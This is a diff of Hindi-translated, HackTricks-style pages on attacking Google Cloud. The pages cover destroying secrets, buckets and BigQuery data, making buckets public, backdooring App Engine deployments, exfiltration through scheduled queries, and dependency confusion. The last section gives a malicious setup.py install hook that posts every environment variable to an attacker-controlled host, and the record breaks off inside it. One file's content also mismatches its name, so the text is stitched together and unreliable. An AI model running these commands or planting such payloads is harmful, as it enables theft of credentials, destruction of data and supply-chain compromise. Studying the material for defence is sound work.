+`secretmanager.versions.disable` अनुमति किसी identity को Secret Manager में सक्रिय secret versions को disable करने की सुविधा देती है, जिससे उन पर निर्भर applications या services द्वारा उनका उपयोग अस्थायी रूप से अवरुद्ध हो जाता है।
+```bash
+gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
+```
+### `secretmanager.secrets.delete`
+यह `secretmanager.secrets.delete` अनुमति सेट किसी पहचान को Secret Manager में किसी secret और उसके सभी संग्रहीत संस्करणों को पूरी तरह से हटाने की अनुमति देता है।
+```bash
+gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>
+```
+### `secretmanager.secrets.update`
+`secretmanager.secrets.update` किसी identity को secret के metadata और configuration (उदाहरण के लिए, rotation settings, version policy, labels, और कुछ secret properties) को संशोधित करने की अनुमति देता है।
+```bash
+gcloud secrets update SECRET_NAME \
+--project=PROJECT_ID \
+--clear-labels \
+--rotation-period=DURATION
+```
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md

@@ -4,19 +4,15 @@
 
 ## Cloud Storage
 
-Cloud Storage के बारे में अधिक जानकारी के लिए इस पेज को देखें:
+CLoud Storage के बारे में अधिक जानकारी के लिए इस पेज को देखें:
 
 {{#ref}}
 ../gcp-services/gcp-storage-enum.md
 {{#endref}}
 
-### सार्वजनिक एक्सेस दें
+### सार्वजनिक पहुँच दें
 
-बाहरी उपयोगकर्ताओं (चाहे वे GCP में लॉग इन हों या नहीं) को bucket की सामग्री तक एक्सेस देना संभव है। हालांकि, डिफ़ॉल्ट रूप से bucket पर सार्वजनिक रूप से एक्सपोज़ करने का विकल्प अक्षम रहता है:
+बाहरी उपयोगकर्ताओं (चाहे वे GCP में लॉग इन हों या नहीं) को bucket की सामग्री तक पहुँच देना संभव है। हालाँकि, डिफ़ॉल्ट रूप से bucket को सार्वजनिक रूप से एक्सपोज़ करने का विकल्प अक्षम होगा:
-
-<details>
-
-<summary>bucket/objects को सार्वजनिक बनाएं</summary>
 ```bash
 # Disable public prevention
 gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -29,10 +25,60 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
 gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
 gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
 ```
-</details>
+यदि आप **ACLs to a bucket with disabled ACLs** देने की कोशिश करते हैं तो आपको यह त्रुटि मिलेगी: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
 
-यदि आप **ACLs को निष्क्रिय ACLs वाले बकेट पर** देने की कोशिश करते हैं तो आपको यह त्रुटि मिलेगी: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
+ब्राउज़र से खुले buckets तक पहुँचने के लिए, इस URL पर जाएँ `https://<bucket_name>.storage.googleapis.com/` या `https://<bucket_name>.storage.googleapis.com/<object_name>`
 
-ओपन बकेट्स को ब्राउज़र के माध्यम से एक्सेस करने के लिए, इस URL पर जाएँ `https://<bucket_name>.storage.googleapis.com/` या `https://<bucket_name>.storage.googleapis.com/<object_name>`
+### `storage.objects.delete` (`storage.objects.get`)
 
+किसी object को हटाने के लिए:
+```bash
+gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
+```
+### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
+
+बकेट हटाने के लिए:
+```bash
+gcloud storage rm -r gs://<BUCKET_NAME>
+```
+### HMAC Keys को निष्क्रिय करें
+
+`storage.hmacKeys.update` अनुमति HMAC keys को निष्क्रिय करने की अनुमति देती है, और `storage.hmacKeys.delete` अनुमति किसी identity को Cloud Storage में service accounts से जुड़े HMAC keys को हटाने की अनुमति देती है।
+```bash
+# Deactivate
+gcloud storage hmac update <ACCESS_ID> --deactivate
+
+# Delete
+gcloud storage hmac delete <ACCESS_ID>
+```
+### `storage.buckets.setIpFilter` & `storage.buckets.update`
+`storage.buckets.setIpFilter` permission, साथ ही `storage.buckets.update` permission, किसी identity को Cloud Storage bucket पर IP address फ़िल्टर कॉन्फ़िगर करने की अनुमति देते हैं, जिससे यह निर्दिष्ट किया जा सके कि कौन से IP रेंज या पते bucket के resources तक पहुँच सकते हैं।
+
+IP फ़िल्टर को पूरी तरह साफ़ करने के लिए, निम्नलिखित कमांड का उपयोग किया जा सकता है:
+```bash
+gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
+```
+फ़िल्टर किए गए IPs को बदलने के लिए, निम्नलिखित कमांड का उपयोग किया जा सकता है:
+```bash
+gcloud storage buckets update gs://<BUCKET_NAME> \
+--ip-filter-file=ip-filter.json \
+--project=<PROJECT_ID>
+```
+JSON फ़ाइल स्वयं फ़िल्टर का प्रतिनिधित्व करती है, कुछ ऐसा:
+```bash
+{
+"mode": "Enabled",
+"publicNetworkSource": {
+"allowedIpCidrRanges": ["<IP>/<MASK>"]
+},
+"allowCrossOrgVpcs": false,
+"allowAllServiceAgentAccess": false
+}
+```
+### `storage.buckets.restore`
+बकेट को पुनर्स्थापित करने के लिए उपयोग करें:
+```bash
+gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
+--project=<PROJECT_ID>
+```
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md

@@ -1,87 +1,139 @@
-# GCP - Apikeys Privesc
+# GCP - AppEngine Privesc
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Apikeys
+## App Engine
 
-निम्नलिखित permissions API keys बनाने और चुराने के लिए उपयोगी हैं, दस्तावेज़ों से उद्धरण: _एक API key एक सरल एन्क्रिप्टेड स्ट्रिंग है जो **किसी प्रिंसिपल के बिना एक application की पहचान करती है**। ये **सार्वजनिक डेटा को गुमनाम रूप से एक्सेस करने** के लिए उपयोगी हैं, और quota और **billing** के लिए API अनुरोधों को आपके प्रोजेक्ट के साथ **associate** करने के लिए उपयोग किए जाते हैं।_
+App Engine के बारे में अधिक जानकारी के लिए देखें:
-
-इसलिए, एक API key के साथ आप उस कंपनी को आपके API उपयोग का भुगतान करवा सकते हैं, लेकिन आप privileges escalate नहीं कर पाएंगे।
-
-For more information about API Keys check:
 
 {{#ref}}
-../gcp-services/gcp-api-keys-enum.md
+../gcp-services/gcp-app-engine-enum.md
 {{#endref}}
 
-For other ways to create API keys check:
+### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
+
+ये permissions **`gcloud` cli** का उपयोग करके App को **डिप्लॉय** करने के लिए आवश्यक हैं। शायद **`get`** और **`list`** वाले permissions को **छोड़ा** जा सकता है।
+
+You can find python code examples in [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
+
+By default, the name of the App service is going to be **`default`**, and there can be only 1 instance with the same name.\
+इसे बदलने और दूसरा App बनाने के लिए, **`app.yaml`** में, root key के value को कुछ इस तरह बदलें: **`service: my-second-app`**
+```bash
+cd python-docs-samples/appengine/flexible/hello_world
+gcloud app deploy #Upload and start application inside the folder
+```
+इसे कम से कम 10–15 मिनट दें; अगर यह काम नहीं करता तो **deploy को कई बार चलाएँ** और कुछ मिनट प्रतीक्षा करें।
+
+> [!NOTE]
+> यह संभव है कि उपयोग करने के लिए **Service Account निर्दिष्ट किया जाए**, पर डिफ़ॉल्ट रूप से App Engine का डिफ़ॉल्ट SA उपयोग किया जाता है।
+
+एप्लिकेशन का URL कुछ ऐसा होगा `https://<proj-name>.oa.r.appspot.com/` या `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
+
+### समकक्ष अनुमतियाँ अपडेट करें
+
+आपके पास संभवतः एक AppEngine को अपडेट करने के लिए पर्याप्त अनुमतियाँ हो सकती हैं, पर एक नया बनाने के लिए नहीं। ऐसी स्थिति में आप वर्तमान App Engine को इस तरह अपडेट कर सकते हैं:
+```bash
+# Find the code of the App Engine in the buckets
+gsutil ls
+
+# Download code
+mkdir /tmp/appengine2
+cd /tmp/appengine2
+## In this case it was found in this custom bucket but you could also use the
+## buckets generated when the App Engine is created
+gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
+unzip labs_appengine_1_premissions_privesc.zip
+
+## Now modify the code..
+
+## If you don't have an app.yaml, create one like:
+cat >> app.yaml <<EOF
+runtime: python312
+
+entrypoint: gunicorn -b :\$PORT main:app
+
+env_variables:
+A_VARIABLE: "value"
+EOF
+
+# Deploy the changes
+gcloud app deploy
+
+# Update the SA if you need it (and if you have actas permissions)
+gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
+```
+यदि आपने **पहले से ही एक AppEngine compromised कर लिया है** और आपके पास permission **`appengine.applications.update`** और उपयोग करने के लिए service account पर **actAs** है, तो आप AppEngine द्वारा उपयोग किए जाने वाले service account को निम्नलिखित के साथ संशोधित कर सकते हैं:
+```bash
+gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
+```
+### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
+
+इन permissions के साथ, यह संभव है कि आप **App Engine instances में ssh के माध्यम से login कर सकें** जो प्रकार के **flexible** हैं (not standard). कुछ **`list`** और **`get`** permissions **वास्तव में आवश्यक नहीं हो सकते**।
+```bash
+gcloud app instances ssh --service <app-name> --version <version-id> <ID>
+```
+### `appengine.applications.update`, `appengine.operations.get`
+
+मुझे लगता है कि यह बस उस background SA को बदलता है जिसे google applications सेटअप करने के लिए उपयोग करेगा, इसलिए मैं नहीं सोचता कि आप इसे service account चुराने के लिए दुरुपयोग कर सकते हैं।
+```bash
+gcloud app update --service-account=<sa_email>
+```
+### `appengine.versions.getFileContents`, `appengine.versions.update`
+
+मालूम नहीं कि इन permissions का उपयोग कैसे करना है या ये कितने उपयोगी हैं (नोट: जब आप code बदलते हैं तो एक नया version बन जाता है, इसलिए मुझे पता नहीं कि क्या आप सिर्फ code या किसी का IAM role अपडेट कर सकते हैं, लेकिन मेरा मानना है कि आप कर सकते हैं — शायद bucket के अंदर code बदल कर??)।
+
+### `bigquery.tables.delete`, `bigquery.datasets.delete` & `bigquery.models.delete` (`bigquery.models.getMetadata`)
+
+tables, dataset या models हटाने के लिए:
+```bash
+# Table removal
+bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
+
+# Dataset removal
+bq rm -r -f <PROJECT_ID>:<DATASET>
+
+# Model removal
+bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
+```
+### Abuse of Scheduled Queries
+
+यदि किसी identity के पास `bigquery.datasets.get`, `bigquery.jobs.create`, और `iam.serviceAccounts.actAs` permissions हों, तो वह dataset के metadata को query कर सकता है, BigQuery jobs लॉन्च कर सकता है, और उन्हें किसी उच्च-privilege वाले Service Account का उपयोग करके execute कर सकता है।
+
+यह attack Scheduled Queries का दुरुपयोग करके queries को automate करने की अनुमति देता है (जो चुने हुए Service Account के अंतर्गत चलेंगी), जिससे उदाहरण के लिए संवेदनशील डेटा को पढ़ा जा सकता है और दूसरे table या dataset में लिखा जा सकता है, जिन तक attacker को पहुँच होती है—जिससे बिना डेटा को बाहरी रूप से निकालने की आवश्यकता के, अप्रत्यक्ष और लगातार exfiltration सम्भव हो जाता है।
+
+एक बार attacker को पता चल जाए कि कौन सा Service Account आवश्यक permissions रखता है जिससे इच्छित query execute की जा सके, तो वे एक Scheduled Query configuration बना सकते हैं जो उस Service Account के साथ चले और परिणामों को समय-समय पर उनकी चुनी हुई dataset में लिखे।
+```bash
+bq mk \
+--transfer_config \
+--project_id=<PROJECT_ID> \
+--location=US \
+--data_source=scheduled_query \
+--target_dataset=<DEST_DATASET> \
+--display_name="Generic Scheduled Query" \
+--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
+--schedule="every 10 minutes" \
+--params='{
+"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
+"destination_table_name_template": "<destination_table>",
+"write_disposition": "WRITE_TRUNCATE"
+}'
+
+```
+### बकेट्स पर Write Access
+
+जैसा कि पहले बताया गया है, appengine versions एक bucket के अंदर कुछ डेटा जनरेट करते हैं जिसका नाम इस फॉर्मेट में होता है: `staging.<project-id>.appspot.com`। ध्यान दें कि इस bucket को पहले से takeover करना संभव नहीं है क्योंकि GCP users को `appspot.com` डोमेन नाम का उपयोग करके buckets generate करने की अनुमति नहीं है।
+
+हालाँकि, इस bucket पर read & write access होने पर, bucket को मॉनिटर करके और किसी भी बदलाव के समय कोड को यथासंभव तेज़ी से modify करके AppEngine version से जुड़े SA के privileges escalate करना संभव है। इस तरह, उस कोड से बने container **execute the backdoored code** करेगा।
+
+For more information and a **PoC check the relevant information from this page**:
 
 {{#ref}}
-gcp-serviceusage-privesc.md
+gcp-storage-privesc.md
 {{#endref}}
 
-### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
+### Artifact Registry पर Write Access
 
-चूंकि आपको पता नहीं हो सकता कि प्रोजेक्ट में कौन-कौन से APIs enabled हैं या मिली हुई API key पर कौन सी restrictions लागू हैं, इसलिए यह उपयोगी होगा कि आप टूल [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) चलाएँ और जाँचें **आप API key के साथ क्या access कर सकते हैं।**
+यद्यपि App Engine Artifact Registry के अंदर docker images बनाता है। परीक्षण में पाया गया कि **even if you modify the image inside this service** और App Engine instance को हटाने (ताकि नया तैनात हो) के बाद भी **code executed doesn't change**।\
-
+It might be possible that performing a **Race Condition attack like with the buckets it might be possible to overwrite the executed code**, but this wasn't tested.
-### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
-
-यह permission **API key बनाने** की अनुमति देता है:
-
-<details>
-<summary>gcloud का उपयोग करके API key बनाना</summary>
-```bash
-gcloud services api-keys create
-Operation [operations/akmf.p7-[...]9] complete. Result: {
-"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
-"createTime":"2022-01-26T12:23:06.281029Z",
-"etag":"W/\"HOhA[...]=\"",
-"keyString":"AIzaSy[...]oU",
-"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
-"uid":"f707[...]e8",
-"updateTime":"2022-01-26T12:23:06.378442Z"
-}
-```
-</details>
-
-आप एक स्क्रिप्ट पा सकते हैं जो [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh) को स्वचालित करती है।
-
-> [!CAUTION]
-> ध्यान दें कि डिफ़ॉल्ट रूप से उपयोगकर्ताओं के पास नए प्रोजेक्ट बनाने की permissions होती हैं और उन्हें नए प्रोजेक्ट पर Owner role प्रदान किया जाता है। इसलिए कोई उपयोगकर्ता **एक प्रोजेक्ट बना सकता है और उसी प्रोजेक्ट के अंदर एक API key बना सकता है**।
-
-### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
-
-ये permissions **सभी apiKeys को सूचीबद्ध और प्राप्त करने और Key को प्राप्त करने** की अनुमति देते हैं:
-
-<details>
-<summary>सभी API keys सूचीबद्ध और प्राप्त करें</summary>
-```bash
-for  key  in  $(gcloud services api-keys list --uri); do
-gcloud services api-keys get-key-string "$key"
-done
-```
-</details>
-
-You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
-
-### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
-
-ये permissions आपको **deleted API keys को सूचीबद्ध और regenerate** करने की अनुमति देती हैं। **API key** **undelete** किए जाने के बाद आउटपुट में दिया जाता है:
-
-<details>
-<summary>API keys की सूची देखें और undelete करें</summary>
-```bash
-gcloud services api-keys list --show-deleted
-gcloud services api-keys undelete <key-uid>
-```
-</details>
-
-### अन्य कर्मचारियों को phish करने के लिए Internal OAuth Application बनाएं
-
-यह कैसे करना है जानने के लिए निम्नलिखित पेज देखें, हालांकि यह क्रिया सेवा **`clientauthconfig`** के अंतर्गत आती है [दस्तावेज़ों के अनुसार](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
-
-{{#ref}}
-../../workspace-security/gws-google-platforms-phishing/
-{{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md

@@ -12,7 +12,7 @@ Artifact Registry के बारे में अधिक जानकार
 
 ### artifactregistry.repositories.uploadArtifacts
 
-इस permission के साथ attacker malicious code वाले artifacts (जैसे Docker images) के नए संस्करण अपलोड कर सकता है:
+इस अनुमति के साथ कोई attacker malicious code (जैसे Docker images) वाले नए संस्करण के artifacts अपलोड कर सकता है:
 
 <details>
 <summary>Artifact Registry में Docker image अपलोड करें</summary>
@@ -29,19 +29,19 @@ docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
 </details>
 
 > [!CAUTION]
-> यह जाँच किया गया कि यह **संभव है कि एक नया malicious docker** image उसी नाम और tag के साथ upload किया जा सके जो पहले से मौजूद है, इसलिए पुराना image **tag खो देगा** और अगली बार जब उस tag के साथ image **download** किया जाएगा तो malicious वाला ही डाउनलोड होगा।
+> यह जाँचा गया कि यह **संभव है कि उसी नाम और टैग वाले पहले से मौजूद इमेज के साथ एक नया malicious docker** इमेज upload किया जा सके, इसलिए पुरानी इमेज **टैग खो देगी** और अगली बार जब उस टैग वाली इमेज **download** की जाएगी तो malicious इमेज ही डाउनलोड होगी।
 
 <details>
 
 <summary>Upload a Python library</summary>
 
-**अपलोड करने के लिए लाइब्रेरी बनाकर शुरू करें** (यदि आप registry से नवीनतम संस्करण डाउनलोड कर सकते हैं तो आप यह कदम छोड़ सकते हैं):
+**सबसे पहले उस library को बनायें जिसे आप upload करना चाहते हैं** (यदि आप registry से latest version download कर सकते हैं तो यह कदम छोड़ सकते हैं):
 
-1.  **अपने प्रोजेक्ट की संरचना सेट अप करें**:
+1.  **अपने प्रोजेक्ट की structure सेटअप करें**:
 
-- अपनी लाइब्रेरी के लिए एक नया डायरेक्टरी बनाएं, उदाहरण के लिए `hello_world_library`.
+- अपनी library के लिए एक नया directory बनायें, जैसे `hello_world_library`.
-- इस डायरेक्टरी के अंदर, अपने पैकेज नाम के साथ एक और डायरेक्टरी बनाएं, उदाहरण के लिए `hello_world`.
+- इस directory के अंदर, अपने package नाम वाला एक और directory बनायें, जैसे `hello_world`.
-- अपने पैकेज डायरेक्टरी के अंदर एक `__init__.py` फ़ाइल बनाएं। यह फ़ाइल खाली हो सकती है या आपके पैकेज के शुरुआती initializations रख सकती है।
+- अपने package directory के अंदर एक `__init__.py` फ़ाइल बनायें। यह फ़ाइल empty हो सकती है या आपके package के लिए initializations रख सकती है।
 
 <details>
 <summary>Create project structure</summary>
@@ -55,10 +55,10 @@ touch hello_world/__init__.py
 
 </details>
 
-2.  **अपनी लाइब्रेरी कोड लिखें**:
+2.  **अपनी library का कोड लिखें**:
 
-- `hello_world` डायरेक्टरी के अंदर अपने मॉड्यूल के लिए एक नया Python फ़ाइल बनाएं, उदाहरण के लिए `greet.py`.
+- `hello_world` directory के अंदर, अपने module के लिए एक नया Python फ़ाइल बनायें, जैसे `greet.py`.
-- अपनी "Hello, World!" फ़ंक्शन लिखें:
+- अपना "Hello, World!" फ़ंक्शन लिखें:
 
 <details>
 <summary>Create library module</summary>
@@ -71,10 +71,10 @@ return "Hello, World!"
 
 </details>
 
-3.  **एक `setup.py` फ़ाइल बनाएं**:
+3.  **एक `setup.py` फ़ाइल बनायें**:
 
-- `hello_world_library` डायरेक्टरी की root में एक `setup.py` फ़ाइल बनाएं।
+- `hello_world_library` directory की root में एक `setup.py` फ़ाइल बनायें।
-- यह फ़ाइल आपकी लाइब्रेरी के बारे में metadata रखती है और Python को बताती है कि इसे कैसे install करना है।
+- यह फ़ाइल आपकी library के बारे में metadata रखती है और Python को बताती है कि इसे कैसे install करना है।
 
 <details>
 <summary>Create setup.py file</summary>
@@ -95,11 +95,11 @@ install_requires=[
 
 </details>
 
-**अब, चलिए लाइब्रेरी अपलोड करते हैं:**
+**अब, आइए लाइब्रेरी upload करें:**
 
-1.  **अपना पैकेज बनाएं**:
+1.  **अपना package build करें**:
 
-- `hello_world_library` डायरेक्टरी की root से, चलाएँ:
+- `hello_world_library` directory की root से, चलाएँ:
 
 <details>
 <summary>Build Python package</summary>
@@ -110,9 +110,9 @@ python3 setup.py sdist bdist_wheel
 
 </details>
 
-2.  **twine के लिए authentication कॉन्फ़िगर करें** (जो पैकेज upload करने के लिए उपयोग होता है):
+2.  **twine के लिए authentication configure करें** (जिसका उपयोग आपका package upload करने में होगा):
-- सुनिश्चित करें कि आपके पास `twine` installed है (`pip install twine`).
+- सुनिश्चित करें कि आपके पास `twine` installed है (`pip install twine`)।
-- credentials कॉन्फ़िगर करने के लिए `gcloud` का उपयोग करें:
+- credentials configure करने के लिए `gcloud` का उपयोग करें:
 
 <details>
 <summary>Upload package with twine</summary>
@@ -121,10 +121,10 @@ twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-acce
 ```
 </details>
 
-3. **बिल्ड को साफ़ करें**
+3. **build को साफ़ करें**
 
 <details>
-<summary>बिल्ड आर्टिफैक्ट्स को साफ़ करें</summary>
+<summary>build artifacts को साफ़ करें</summary>
 ```bash
 rm -rf dist build hello_world.egg-info
 ```
@@ -133,10 +133,10 @@ rm -rf dist build hello_world.egg-info
 </details>
 
 > [!CAUTION]
-> एक ही संस्करण वाली python लाइब्रेरी को फिर से अपलोड करना संभव नहीं है, पर आप **बड़े संस्करण** अपलोड कर सकते हैं (या यदि काम करे तो संस्करण के अंत में अतिरिक्त **`.0` जोड़ सकते हैं** -हालाँकि python में नहीं-), या आप **अंतिम संस्करण को हटाकर नया संस्करण अपलोड कर सकते हैं** (needed `artifactregistry.versions.delete)`**:**
+> एक ही संस्करण वाली python library को अपलोड करना संभव नहीं है जो पहले से मौजूद हो, लेकिन यह संभव है कि आप **बड़े संस्करण** अपलोड कर सकें (या संस्करण के अंत में एक अतिरिक्त **`.0` जोड़ दें** यदि वह काम करे -हालाँकि python में नहीं-), या **आखिरी संस्करण को डिलीट करके नया एक अपलोड करें** (इसके लिए `artifactregistry.versions.delete`)**:**
 >
 > <details>
-> <summary>Delete artifact version</summary>
+> <summary>आर्टिफैक्ट संस्करण हटाएँ</summary>
 >
 > ```sh
 > gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
@@ -146,12 +146,12 @@ rm -rf dist build hello_world.egg-info
 
 ### `artifactregistry.repositories.downloadArtifacts`
 
-इस अनुमति के साथ आप **आर्टिफैक्ट्स डाउनलोड** कर सकते हैं और **संवेदनशील जानकारी** तथा **कमज़ोरियाँ** खोज सकते हैं।
+इस permission के साथ आप **artifacts डाउनलोड** कर सकते हैं और **संवेदनशील जानकारी** तथा **कमज़ोरियाँ** खोज सकते हैं।
 
 Download a **Docker** image:
 
 <details>
-<summary>Artifact Registry से **Docker** इमेज डाउनलोड करें</summary>
+<summary>Artifact Registry से Docker image डाउनलोड करें</summary>
 ```sh
 # Configure docker to use gcloud to authenticate with Artifact Registry
 gcloud auth configure-docker <location>-docker.pkg.dev
@@ -170,7 +170,7 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
 ```
 </details>
 
-- क्या होता है अगर एक virtual registry में remote और standard registries मिश्रित हों और कोई package दोनों में मौजूद हो? इस पेज को देखें:
+- यदि एक virtual registry में remote और standard registries मिश्रित हों और कोई package दोनों में मौजूद हो तो क्या होता है? इस पृष्ठ को देखें:
 
 {{#ref}}
 ../gcp-persistence/gcp-artifact-registry-persistence.md
@@ -178,7 +178,7 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
 
 ### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
 
-रजिस्ट्री से artifacts हटाएँ, जैसे docker images:
+Registry से artifacts हटाएँ, जैसे docker images:
 
 <details>
 <summary>Artifact Registry से Docker image हटाएँ</summary>
@@ -190,10 +190,10 @@ gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<rep
 
 ### `artifactregistry.repositories.delete`
 
-एक पूरा repository हटाएँ (यहाँ तक कि इसमें content हो):
+सामग्री होने पर भी एक पूरा रिपॉज़िटरी हटाएँ:
 
 <details>
-<summary>Artifact Registry repository हटाएँ</summary>
+<summary>Artifact Registry रिपॉज़िटरी हटाएँ</summary>
 ```
 gcloud artifacts repositories delete <repo-name> --location=<location>
 ```
@@ -201,17 +201,71 @@ gcloud artifacts repositories delete <repo-name> --location=<location>
 
 ### `artifactregistry.repositories.setIamPolicy`
 
-इस permission वाले attacker अपने आप को पहले बताए गए कुछ repository attacks करने की permissions दे सकता है।
+इस permission वाले attacker अपने लिए उन पहले बताए गए repository attacks को करने के लिए permissions दे सकता है।
 
-### Artifact Registry Read & Write के माध्यम से अन्य Services पर Pivoting
+### Pivoting to other Services through Artifact Registry Read & Write
 
 - **Cloud Functions**
 
-जब कोई Cloud Function बनाई जाती है तो प्रोजेक्ट के Artifact Registry में एक नया docker image push हो जाता है। मैंने image को नए वाले से बदलने की कोशिश की, और वर्तमान image (और `cache` image) को हटा भी दिया, पर कुछ नहीं बदला — cloud function चलते रहे। इसलिए, शायद bucket के साथ की तरह **Race Condition attack का दुरुपयोग** करके चलने वाले docker container को बदलना संभव हो सकता है, लेकिन **सिर्फ़ संग्रहित image को modify करने से Cloud Function compromise करना संभव नहीं है**।
+जब एक Cloud Function बनाया जाता है तो प्रोजेक्ट के Artifact Registry में एक नया docker image push होता है। मैंने image को नए वाले से modify करने की कोशिश की, और वर्तमान image (और `cache` image) को हटाकर भी देखा लेकिन कुछ नहीं बदला, cloud function काम करना जारी रहा। इसलिए, शायद bucket के साथ की तरह **Race Condition attack** का दुरुपयोग करके उस docker container को बदलना संभव हो सकता है जो चलाया जाएगा, लेकिन **सिर्फ़ स्टोर किए गए image को बदलकर Cloud Function को compromise करना संभव नहीं है**।
 
 - **App Engine**
 
-हालाँकि App Engine Artifact Registry के अंदर docker images बनाता है। परीक्षण में पाया गया कि **भले ही आप इस service के अंदर image को modify कर दें** और App Engine instance को हटा दें (तो नया deploy किया जाता है) तब भी **code executed doesn't change**।\
+हालाँकि App Engine Artifact Registry के अंदर docker images बनाता है। परीक्षण में यह पाया गया कि **यहाँ पर image को modify करने पर भी** और App Engine instance को हटाकर (ताकि नया deploy हो) भी, उस पर चलने वाला **code बदलता नहीं है**.\
-यह संभव हो सकता है कि buckets के साथ जैसे **Race Condition attack कर के executed code को overwrite करना संभव हो**, लेकिन इसे टेस्ट नहीं किया गया।
+संभव है कि buckets के साथ की तरह एक **Race Condition attack** करके executed code को overwrite करना संभव हो, लेकिन यह टेस्ट नहीं किया गया।
+
+### `artifactregistry.repositories.update`
+इस issue को exploit करने के लिए attacker को किसी विशेष Artifact Registry permissions की ज़रूरत नहीं है—सिर्फ़ एक vulnerable virtual-repository configuration चाहिए। यह तब होता है जब एक virtual repository एक remote public repository (e.g., PyPI, npm) को internal repository के साथ मिलाती है, और remote source की priority बराबर या अधिक होती है। अगर दोनों में एक ही नाम का package मौजूद है, तो सिस्टम highest version को चुनता है। attacker को केवल internal package का नाम पता होना चाहिए और संबंधित public registry में packages publish करने में सक्षम होना चाहिए।
+
+With the `artifactregistry.repositories.update` permission, an attacker could change a virtual repository’s upstream settings to intentionally create this vulnerable setup and use Dependency Confusion as a persistence method by inserting malicious packages that developers or CI/CD systems may install automatically.
+
+attacker public repository में internal package का एक malicious version उच्च version number के साथ बनाता है। For Python packages, this means preparing a package structure that mimics the legitimate one.
+```bash
+mkdir /tmp/malicious_package
+cd /tmp/malicious_package
+PACKAGE_NAME="<package-name>"
+mkdir "$PACKAGE_NAME"
+touch "$PACKAGE_NAME/__init__.py"
+```
+फिर एक setup.py फ़ाइल बनाई जाती है जिसमें इंस्टॉलेशन के दौरान चलने वाला दुर्भावनापूर्ण कोड होता है। इस फ़ाइल में private repository में मौजूद संस्करण से अधिक संस्करण संख्या निर्दिष्ट करनी चाहिए।
+```bash
+cat > setup.py << 'EOF'
+import setuptools
+from setuptools.command.install import install
+import os
+import urllib.request
+import urllib.parse
+
+def malicious_function():
+data = dict(os.environ)
+encoded_data = urllib.parse.urlencode(data).encode()
+url = 'https://<ip-atacante>/exfil'
+req = urllib.request.Request(url, data=encoded_data)
+urllib.request.urlopen(req)
+
+class AfterInstall(install):
+def run(self):
+install.run(self)
+malicious_function()
+
